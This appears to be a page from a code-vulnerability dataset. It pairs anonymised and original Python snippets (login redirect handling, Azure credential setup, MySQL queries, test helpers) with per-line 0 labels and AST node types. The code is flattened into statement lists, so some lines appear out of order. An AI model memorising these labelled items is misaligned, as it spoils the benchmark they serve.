"def FUNC_5(self):...\n",
"if self.redirected_to is None:\n",
"return None\n",
"VAR_14 = self.redirected_to.split('&')\n",
"if len(VAR_14) != 2:\n",
"VAR_0.warning(\"Redirected to an unexpected page: `%s'\", self.redirected_to)\n",
"VAR_21 = decrypt_number(VAR_14[-1])\n",
"VAR_0.warning(\"Unable to de... | [
"def get_user_test_id(self):...\n",
"if self.redirected_to is None:\n",
"return None\n",
"p = self.redirected_to.split('&')\n",
"if len(p) != 2:\n",
"logger.warning(\"Redirected to an unexpected page: `%s'\", self.redirected_to)\n",
"user_test_id = decrypt_number(p[-1])\n",
"logger.warning(\"Unable to... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Condition",
"Return'",
"Assign'",
"Condition",
"Expr'",
"Assign'",
"Expr'",
"Return'",
"Return'",
"Return'"
] |
[
"@VAR_1.route('/login')...\n",
"if 'return_url' in request.args:\n",
"VAR_18['return_url'] = request.args['return_url']\n",
"return render_template('login.html')\n"
] | [
"@app.route('/login')...\n",
"if 'return_url' in request.args:\n",
"session['return_url'] = request.args['return_url']\n",
"return render_template('login.html')\n"
] | [
0,
0,
0,
0
] | [
"Condition",
"Condition",
"Assign'",
"Return'"
] |
[
"def FUNC_13(VAR_14):...\n",
"\"\"\"docstring\"\"\"\n",
"VAR_40.environ['CUDA_VISIBLE_DEVICES'] = ','.join([str(i) for i in VAR_14])\n"
] | [
"def set_cuda_visible_devices(gpu_ids):...\n",
"\"\"\"docstring\"\"\"\n",
"os.environ['CUDA_VISIBLE_DEVICES'] = ','.join([str(i) for i in gpu_ids])\n"
] | [
0,
0,
0
] | [
"FunctionDef'",
"Docstring",
"Assign'"
] |
[
"def FUNC_1(self, *VAR_4, **VAR_5):...\n",
"\"\"\"docstring\"\"\"\n",
"VAR_11 = self.REQUEST\n",
"VAR_12 = VAR_11.RESPONSE\n",
"VAR_12.setHeader('Content-Type', 'text/css')\n",
"VAR_13 = []\n",
"for stylesheet in self.getStylesheets():\n",
"return '\\n'.join(VAR_13)\n",
"VAR_24 = stylesheet(self)\n"... | [
"def zmi_manage_css(self, *args, **kwargs):...\n",
"\"\"\"docstring\"\"\"\n",
"request = self.REQUEST\n",
"response = request.RESPONSE\n",
"response.setHeader('Content-Type', 'text/css')\n",
"css = []\n",
"for stylesheet in self.getStylesheets():\n",
"return '\\n'.join(css)\n",
"s = stylesheet(self)... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Docstring",
"Assign'",
"Assign'",
"Expr'",
"Assign'",
"For",
"Return'",
"Assign'",
"Assign'",
"Expr'",
"Expr'",
"Expr'",
"Expr'"
] |
[
"@staticmethod...\n",
"VAR_14 = mongo.db.analysis.find(VAR_4, sort=[('_id', pymongo.DESCENDING)])\n",
"return [VAR_5 for VAR_5 in VAR_14]\n"
] | [
"@staticmethod...\n",
"cursor = mongo.db.analysis.find(filters, sort=[('_id', pymongo.DESCENDING)])\n",
"return [report for report in cursor]\n"
] | [
0,
0,
0
] | [
"Condition",
"Assign'",
"Return'"
] |
[
"@rest_utils.ajax()...\n",
"\"\"\"docstring\"\"\"\n",
"return api.nova.server_get(VAR_1, VAR_3).to_dict()\n"
] | [
"@rest_utils.ajax()...\n",
"\"\"\"docstring\"\"\"\n",
"return api.nova.server_get(request, server_id).to_dict()\n"
] | [
0,
0,
0
] | [
"Condition",
"Docstring",
"Return'"
] |
[
"def FUNC_2(VAR_0, VAR_1, VAR_2):...\n",
"VAR_9 = VAR_0.get_input('client', default='')\n",
"VAR_10 = VAR_0.get_input('tenant', default='')\n",
"if len(VAR_9) and len(VAR_10):\n",
"VAR_1['AZURE_CLIENT_ID'] = VAR_9\n",
"VAR_1['AZURE_SUBSCRIPTION_ID'] = VAR_0.get_input('subscription', default='')\n",
"VAR... | [
"def azure_rm(cred, env, private_data_dir):...\n",
"client = cred.get_input('client', default='')\n",
"tenant = cred.get_input('tenant', default='')\n",
"if len(client) and len(tenant):\n",
"env['AZURE_CLIENT_ID'] = client\n",
"env['AZURE_SUBSCRIPTION_ID'] = cred.get_input('subscription', default='')\n",
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Assign'",
"Assign'",
"Condition",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Condition",
"Assign'"
] |
[
"def FUNC_0(self, VAR_0='crimemap'):...\n",
"return pymysql.connect(host='localhost', user=dbconfig.db_user, password=\n dbconfig.db_password, db=database)\n"
] | [
"def connect(self, database='crimemap'):...\n",
"return pymysql.connect(host='localhost', user=dbconfig.db_user, password=\n dbconfig.db_password, db=database)\n"
] | [
0,
0
] | [
"FunctionDef'",
"Return'"
] |
[
"def FUNC_12():...\n",
"VAR_9 = FUNC_0()\n",
"VAR_10 = VAR_9.cursor()\n",
"VAR_10.execute(' SELECT name, shame FROM people ORDER BY shame DESC LIMIT 5 ')\n",
"VAR_2.error('Execution failed with error: {}'.format(e))\n",
"VAR_18 = VAR_10.fetchall()\n",
"VAR_2.debug('fetched top shame values')\n",
"retu... | [
"def shame_top():...\n",
"db = db_connect()\n",
"cursor = db.cursor()\n",
"cursor.execute(' SELECT name, shame FROM people ORDER BY shame DESC LIMIT 5 ')\n",
"logger.error('Execution failed with error: {}'.format(e))\n",
"leaders = cursor.fetchall()\n",
"logger.debug('fetched top shame values')\n",
"r... | [
0,
0,
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Assign'",
"Assign'",
"Expr'",
"Expr'",
"Assign'",
"Expr'",
"Return'"
] |
[
"@wraps(VAR_55)...\n",
"VAR_70['timer'] = CLASS_2(VAR_25)\n",
"return VAR_55(*VAR_69, **kwargs)\n"
] | [
"@wraps(func)...\n",
"kwargs['timer'] = Timer(name)\n",
"return func(*args, **kwargs)\n"
] | [
0,
0,
0
] | [
"Condition",
"Assign'",
"Return'"
] |
[
"def FUNC_5(self):...\n",
"self.run_test_case(self.scenario.delete_load_balancer())\n"
] | [
"def test_z_delete_load_balancer(self):...\n",
"self.run_test_case(self.scenario.delete_load_balancer())\n"
] | [
0,
0
] | [
"FunctionDef'",
"Expr'"
] |
[
"def FUNC_9(self, VAR_12, VAR_15=None):...\n",
""
] | [
"def select(self, table, where=None):...\n",
""
] | [
0,
0
] | [
"FunctionDef'",
"Condition"
] |
[
"def FUNC_22(VAR_49, **VAR_18):...\n",
"if self._session_responses:\n",
"VAR_64 = self._session_responses[0]\n",
"VAR_18['allow_redirects'] = False\n",
"VAR_20.record_call(VAR_49, **kwargs)\n",
"return VAR_60(VAR_49, **kwargs)\n",
"return VAR_64() if hasattr(VAR_64, '__call__') else VAR_64\n"
] | [
"def _session_send(request, **kwargs):...\n",
"if self._session_responses:\n",
"current_response = self._session_responses[0]\n",
"kwargs['allow_redirects'] = False\n",
"cluster_api.record_call(request, **kwargs)\n",
"return session_send(request, **kwargs)\n",
"return current_response() if hasattr(curre... | [
0,
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Condition",
"Assign'",
"Assign'",
"Expr'",
"Return'",
"Return'"
] |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.